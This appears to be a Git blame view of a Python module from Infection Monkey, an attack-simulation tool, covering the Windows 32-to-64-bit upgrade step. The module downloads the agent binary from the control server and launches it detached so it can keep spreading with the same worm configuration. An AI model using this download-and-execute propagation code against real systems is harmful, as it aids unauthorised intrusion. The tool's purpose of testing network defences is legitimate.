monkey/infection_monkey/windows_upgrader.py

59 lines
2.0 KiB
Python
Raw Normal View History

2018-03-01 01:01:42 +08:00
import logging
2018-02-28 22:24:40 +08:00
import subprocess
2018-02-28 20:10:01 +08:00
import sys
2018-04-12 00:07:03 +08:00
import shutil
2018-02-28 20:10:01 +08:00
2018-03-01 01:01:42 +08:00
import time
2018-02-28 20:10:01 +08:00
import monkeyfs
from config import WormConfiguration
from control import ControlClient
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS
from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
2018-02-28 20:10:01 +08:00
__author__ = 'itay.mizeretz'
2018-03-01 01:01:42 +08:00
LOG = logging.getLogger(__name__)
2018-02-28 20:10:01 +08:00
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
class WindowsUpgrader(object):
2018-04-12 00:07:03 +08:00
__UPGRADE_WAIT_TIME__ = 3
2018-02-28 20:10:01 +08:00
@staticmethod
def should_upgrade():
return is_windows_os() and is_64bit_windows_os() \
2018-04-12 02:09:06 +08:00
and not is_64bit_python()
2018-02-28 20:10:01 +08:00
@staticmethod
def upgrade(opts):
try:
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
except (IOError, AttributeError):
LOG.error("Failed to download the Monkey to the target path.")
return
2018-02-28 20:10:01 +08:00
2018-04-12 00:07:03 +08:00
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
2018-02-28 20:10:01 +08:00
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
2018-02-28 20:10:01 +08:00
2018-02-28 22:24:40 +08:00
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)
2018-03-01 01:01:42 +08:00
LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
monkey_process.pid, monkey_cmdline)
2018-04-12 00:07:03 +08:00
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
2018-03-01 01:01:42 +08:00
if monkey_process.poll() is not None:
2018-04-12 00:07:03 +08:00
LOG.error("Seems like monkey died too soon")